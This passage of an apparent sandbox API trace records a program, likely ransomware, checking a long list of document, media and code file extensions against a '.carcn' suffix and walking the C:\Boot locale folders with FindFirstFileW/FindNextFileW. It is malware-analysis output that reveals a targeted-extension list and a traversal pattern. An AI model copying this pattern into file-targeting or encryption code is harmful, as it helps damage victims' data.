lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".edml") returned 5 [0291.318] lstrcmpiW (lpString1=".edml", lpString2="carcn") returned -1 [0291.318] lstrlenW (lpString=".efd") returned 4 [0291.318] lstrcmpiW (lpString1=".efd", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".elf") returned 4 [0291.319] lstrcmpiW (lpString1=".elf", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".emf") returned 4 [0291.319] lstrcmpiW (lpString1=".emf", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".emz") returned 4 [0291.319] lstrcmpiW (lpString1=".emz", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".epf") returned 4 [0291.319] lstrcmpiW (lpString1=".epf", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".eps") returned 4 [0291.319] lstrcmpiW (lpString1=".eps", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".epsf") returned 5 [0291.319] lstrcmpiW (lpString1=".epsf", lpString2="carcn") returned -1 [0291.319] lstrlenW (lpString=".epsp") returned 5 [0291.319] lstrcmpiW (lpString1=".epsp", lpString2="carcn") returned -1 [0291.319] lstrlenW (lpString=".erf") returned 4 [0291.319] lstrcmpiW (lpString1=".erf", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".exr") returned 4 [0291.319] lstrcmpiW (lpString1=".exr", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".f4v") returned 4 [0291.319] lstrcmpiW (lpString1=".f4v", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".fido") returned 5 [0291.319] lstrcmpiW (lpString1=".fido", lpString2="carcn") returned -1 [0291.319] lstrlenW (lpString=".flm") returned 4 [0291.319] lstrcmpiW (lpString1=".flm", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".flv") returned 4 [0291.319] lstrcmpiW (lpString1=".flv", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".frm") returned 4 [0291.319] lstrcmpiW (lpString1=".frm", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".fxg") returned 4 [0291.319] lstrcmpiW (lpString1=".fxg", lpString2="arcn") returned -1 [0291.319] lstrlenW (lpString=".geo") returned 4 [0291.320] lstrcmpiW (lpString1=".geo", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".gif") returned 4 [0291.320] lstrcmpiW (lpString1=".gif", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".grs") returned 4 [0291.320] lstrcmpiW (lpString1=".grs", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".gz") returned 3 [0291.320] lstrcmpiW (lpString1=".gz", lpString2="rcn") returned -1 [0291.320] lstrlenW (lpString=".h") returned 2 [0291.320] lstrcmpiW (lpString1=".h", lpString2="cn") returned -1 [0291.320] lstrlenW (lpString=".hdr") returned 4 [0291.320] lstrcmpiW (lpString1=".hdr", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".hpp") returned 4 [0291.320] lstrcmpiW (lpString1=".hpp", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".hta") returned 4 [0291.320] lstrcmpiW (lpString1=".hta", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".htc") returned 4 [0291.320] lstrcmpiW (lpString1=".htc", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".htm") returned 4 [0291.320] lstrcmpiW (lpString1=".htm", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".html") returned 5 [0291.320] lstrcmpiW (lpString1=".html", lpString2="carcn") returned -1 [0291.320] lstrlenW (lpString=".icb") returned 4 [0291.320] lstrcmpiW (lpString1=".icb", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".ics") returned 4 [0291.320] lstrcmpiW (lpString1=".ics", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".iff") returned 4 [0291.320] lstrcmpiW (lpString1=".iff", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".inc") returned 4 [0291.320] lstrcmpiW (lpString1=".inc", lpString2="arcn") returned -1 [0291.320] lstrlenW (lpString=".indd") returned 5 [0291.320] lstrcmpiW (lpString1=".indd", lpString2="carcn") returned -1 [0291.320] lstrlenW (lpString=".ini") returned 4 [0291.320] lstrcmpiW (lpString1=".ini", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".iqy") returned 4 [0291.321] lstrcmpiW (lpString1=".iqy", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".j2c") returned 4 [0291.321] lstrcmpiW (lpString1=".j2c", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".j2k") returned 4 [0291.321] lstrcmpiW (lpString1=".j2k", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".java") returned 5 [0291.321] lstrcmpiW (lpString1=".java", lpString2="carcn") returned -1 [0291.321] lstrlenW (lpString=".jp2") returned 4 [0291.321] lstrcmpiW (lpString1=".jp2", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".jpc") returned 4 [0291.321] lstrcmpiW (lpString1=".jpc", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".jpe") returned 4 [0291.321] lstrcmpiW (lpString1=".jpe", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".jpeg") returned 5 [0291.321] lstrcmpiW (lpString1=".jpeg", lpString2="carcn") returned -1 [0291.321] lstrlenW (lpString=".jpf") returned 4 [0291.321] lstrcmpiW (lpString1=".jpf", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".jpg") returned 4 [0291.321] lstrcmpiW (lpString1=".jpg", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".jpx") returned 4 [0291.321] lstrcmpiW (lpString1=".jpx", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".js") returned 3 [0291.321] lstrcmpiW (lpString1=".js", lpString2="rcn") returned -1 [0291.321] lstrlenW (lpString=".jsf") returned 4 [0291.321] lstrcmpiW (lpString1=".jsf", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".json") returned 5 [0291.321] lstrcmpiW (lpString1=".json", lpString2="carcn") returned -1 [0291.321] lstrlenW (lpString=".jsp") returned 4 [0291.321] lstrcmpiW (lpString1=".jsp", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".kdc") returned 4 [0291.321] lstrcmpiW (lpString1=".kdc", lpString2="arcn") returned -1 [0291.321] lstrlenW (lpString=".kmz") returned 4 [0291.322] lstrcmpiW (lpString1=".kmz", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".kwm") returned 4 [0291.322] lstrcmpiW (lpString1=".kwm", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".lasso") returned 6 [0291.322] lstrcmpiW (lpString1=".lasso", lpString2=".carcn") returned 1 [0291.322] lstrlenW (lpString=".lbi") returned 4 [0291.322] lstrcmpiW (lpString1=".lbi", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".lgf") returned 4 [0291.322] lstrcmpiW (lpString1=".lgf", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".lgp") returned 4 [0291.322] lstrcmpiW (lpString1=".lgp", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".log") returned 4 [0291.322] lstrcmpiW (lpString1=".log", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".m1v") returned 4 [0291.322] lstrcmpiW (lpString1=".m1v", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".m4a") returned 4 [0291.322] lstrcmpiW (lpString1=".m4a", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".m4v") returned 4 [0291.322] lstrcmpiW (lpString1=".m4v", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".max") returned 4 [0291.322] lstrcmpiW (lpString1=".max", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".md") returned 3 [0291.322] lstrcmpiW (lpString1=".md", lpString2="rcn") returned -1 [0291.322] lstrlenW (lpString=".mda") returned 4 [0291.322] lstrcmpiW (lpString1=".mda", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".mdb") returned 4 [0291.322] lstrcmpiW (lpString1=".mdb", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".mde") returned 4 [0291.322] lstrcmpiW (lpString1=".mde", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".mdf") returned 4 [0291.322] lstrcmpiW (lpString1=".mdf", lpString2="arcn") returned -1 [0291.322] lstrlenW (lpString=".mdw") returned 4 [0291.322] lstrcmpiW (lpString1=".mdw", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mef") returned 4 [0291.323] lstrcmpiW (lpString1=".mef", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mft") returned 4 [0291.323] lstrcmpiW (lpString1=".mft", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mfw") returned 4 [0291.323] lstrcmpiW (lpString1=".mfw", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mht") returned 4 [0291.323] lstrcmpiW (lpString1=".mht", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mhtml") returned 6 [0291.323] lstrcmpiW (lpString1=".mhtml", lpString2=".carcn") returned 1 [0291.323] lstrlenW (lpString=".mka") returned 4 [0291.323] lstrcmpiW (lpString1=".mka", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mkidx") returned 6 [0291.323] lstrcmpiW (lpString1=".mkidx", lpString2=".carcn") returned 1 [0291.323] lstrlenW (lpString=".mkv") returned 4 [0291.323] lstrcmpiW (lpString1=".mkv", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mos") returned 4 [0291.323] lstrcmpiW (lpString1=".mos", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mov") returned 4 [0291.323] lstrcmpiW (lpString1=".mov", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mp3") returned 4 [0291.323] lstrcmpiW (lpString1=".mp3", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mp4") returned 4 [0291.323] lstrcmpiW (lpString1=".mp4", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mpeg") returned 5 [0291.323] lstrcmpiW (lpString1=".mpeg", lpString2="carcn") returned -1 [0291.323] lstrlenW (lpString=".mpg") returned 4 [0291.323] lstrcmpiW (lpString1=".mpg", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mpv") returned 4 [0291.323] lstrcmpiW (lpString1=".mpv", lpString2="arcn") returned -1 [0291.323] lstrlenW (lpString=".mrw") returned 4 [0291.323] lstrcmpiW (lpString1=".mrw", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".msg") returned 4 [0291.324] lstrcmpiW (lpString1=".msg", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".mxl") returned 4 [0291.324] lstrcmpiW (lpString1=".mxl", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".myd") returned 4 [0291.324] lstrcmpiW (lpString1=".myd", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".myi") returned 4 [0291.324] lstrcmpiW (lpString1=".myi", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".nef") returned 4 [0291.324] lstrcmpiW (lpString1=".nef", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".nrw") returned 4 [0291.324] lstrcmpiW (lpString1=".nrw", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".obj") returned 4 [0291.324] lstrcmpiW (lpString1=".obj", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".odb") returned 4 [0291.324] lstrcmpiW (lpString1=".odb", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".odc") returned 4 [0291.324] lstrcmpiW (lpString1=".odc", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".odm") returned 4 [0291.324] lstrcmpiW (lpString1=".odm", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".odp") returned 4 [0291.324] lstrcmpiW (lpString1=".odp", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".ods") returned 4 [0291.324] lstrcmpiW (lpString1=".ods", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".oft") returned 4 [0291.324] lstrcmpiW (lpString1=".oft", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".one") returned 4 [0291.324] lstrcmpiW (lpString1=".one", lpString2="arcn") returned -1 [0291.324] lstrlenW (lpString=".onepkg") returned 7 [0291.324] lstrcmpiW (lpString1=".onepkg", lpString2="].carcn") returned -1 [0291.324] lstrlenW (lpString=".onetoc2") returned 8 [0291.324] lstrcmpiW (lpString1=".onetoc2", lpString2="m].carcn") returned -1 [0291.324] lstrlenW (lpString=".opt") returned 4 [0291.325] lstrcmpiW (lpString1=".opt", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".oqy") returned 4 [0291.325] lstrcmpiW (lpString1=".oqy", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".orf") returned 4 [0291.325] lstrcmpiW (lpString1=".orf", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".p12") returned 4 [0291.325] lstrcmpiW (lpString1=".p12", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".p7b") returned 4 [0291.325] lstrcmpiW (lpString1=".p7b", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".p7c") returned 4 [0291.325] lstrcmpiW (lpString1=".p7c", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pam") returned 4 [0291.325] lstrcmpiW (lpString1=".pam", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pbm") returned 4 [0291.325] lstrcmpiW (lpString1=".pbm", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pct") returned 4 [0291.325] lstrcmpiW (lpString1=".pct", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pcx") returned 4 [0291.325] lstrcmpiW (lpString1=".pcx", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pdd") returned 4 [0291.325] lstrcmpiW (lpString1=".pdd", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pdf") returned 4 [0291.325] lstrcmpiW (lpString1=".pdf", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pdp") returned 4 [0291.325] lstrcmpiW (lpString1=".pdp", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pef") returned 4 [0291.325] lstrcmpiW (lpString1=".pef", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pem") returned 4 [0291.325] lstrcmpiW (lpString1=".pem", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pff") returned 4 [0291.325] lstrcmpiW (lpString1=".pff", lpString2="arcn") returned -1 [0291.325] lstrlenW (lpString=".pfm") returned 4 [0291.325] lstrcmpiW (lpString1=".pfm", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".pfx") returned 4 [0291.326] lstrcmpiW (lpString1=".pfx", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".pgm") returned 4 [0291.326] lstrcmpiW (lpString1=".pgm", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".php") returned 4 [0291.326] lstrcmpiW (lpString1=".php", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".php3") returned 5 [0291.326] lstrcmpiW (lpString1=".php3", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".php4") returned 5 [0291.326] lstrcmpiW (lpString1=".php4", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".php5") returned 5 [0291.326] lstrcmpiW (lpString1=".php5", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".phtml") returned 6 [0291.326] lstrcmpiW (lpString1=".phtml", lpString2=".carcn") returned 1 [0291.326] lstrlenW (lpString=".pict") returned 5 [0291.326] lstrcmpiW (lpString1=".pict", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".pl") returned 3 [0291.326] lstrcmpiW (lpString1=".pl", lpString2="rcn") returned -1 [0291.326] lstrlenW (lpString=".pls") returned 4 [0291.326] lstrcmpiW (lpString1=".pls", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".pm") returned 3 [0291.326] lstrcmpiW (lpString1=".pm", lpString2="rcn") returned -1 [0291.326] lstrlenW (lpString=".png") returned 4 [0291.326] lstrcmpiW (lpString1=".png", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".pnm") returned 4 [0291.326] lstrcmpiW (lpString1=".pnm", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".pot") returned 4 [0291.326] lstrcmpiW (lpString1=".pot", lpString2="arcn") returned -1 [0291.326] lstrlenW (lpString=".potm") returned 5 [0291.326] lstrcmpiW (lpString1=".potm", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".potx") returned 5 [0291.326] lstrcmpiW (lpString1=".potx", lpString2="carcn") returned -1 [0291.326] lstrlenW (lpString=".ppa") returned 4 [0291.327] lstrcmpiW (lpString1=".ppa", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".ppam") returned 5 [0291.327] lstrcmpiW (lpString1=".ppam", lpString2="carcn") returned -1 [0291.327] lstrlenW (lpString=".ppm") returned 4 [0291.327] lstrcmpiW (lpString1=".ppm", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".pps") returned 4 [0291.327] lstrcmpiW (lpString1=".pps", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".ppsm") returned 5 [0291.327] lstrcmpiW (lpString1=".ppsm", lpString2="carcn") returned -1 [0291.327] lstrlenW (lpString=".ppt") returned 4 [0291.327] lstrcmpiW (lpString1=".ppt", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".pptm") returned 5 [0291.327] lstrcmpiW (lpString1=".pptm", lpString2="carcn") returned -1 [0291.327] lstrlenW (lpString=".pptx") returned 5 [0291.327] lstrcmpiW (lpString1=".pptx", lpString2="carcn") returned -1 [0291.327] lstrlenW (lpString=".prn") returned 4 [0291.327] lstrcmpiW (lpString1=".prn", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".ps") returned 3 [0291.327] lstrcmpiW (lpString1=".ps", lpString2="rcn") returned -1 [0291.327] lstrlenW (lpString=".psb") returned 4 [0291.327] lstrcmpiW (lpString1=".psb", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".psd") returned 4 [0291.327] lstrcmpiW (lpString1=".psd", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".pst") returned 4 [0291.327] lstrcmpiW (lpString1=".pst", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".ptx") returned 4 [0291.327] lstrcmpiW (lpString1=".ptx", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".pub") returned 4 [0291.327] lstrcmpiW (lpString1=".pub", lpString2="arcn") returned -1 [0291.327] lstrlenW (lpString=".pwm") returned 4 [0291.327] lstrcmpiW (lpString1=".pwm", lpString2="arcn") returned -1 [0291.657] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.657] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.658] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.659] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.659] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0291.660] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.660] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.660] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd2c8 [0291.660] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.660] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.660] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.660] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0291.660] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.660] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.661] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcc08 [0291.661] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fcc08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.661] FindClose (in: hFindFile=0x7fcc08 | out: hFindFile=0x7fcc08) returned 1 [0291.661] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.661] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd348 [0291.661] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.661] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.661] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0291.661] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.662] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.662] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd008 [0291.662] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.662] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.662] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.662] FindNextFileW (in: hFindFile=0x7fd008, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.662] FindClose (in: hFindFile=0x7fd008 | out: hFindFile=0x7fd008) returned 1 [0291.662] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.662] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.662] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcf08 [0291.663] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.663] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0291.663] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.663] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcd88 [0291.663] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.663] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.664] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0291.664] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.664] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fcf88 [0291.664] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.664] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0291.664] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.664] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.664] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fd348 [0291.665] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.665] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0 [0291.665] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 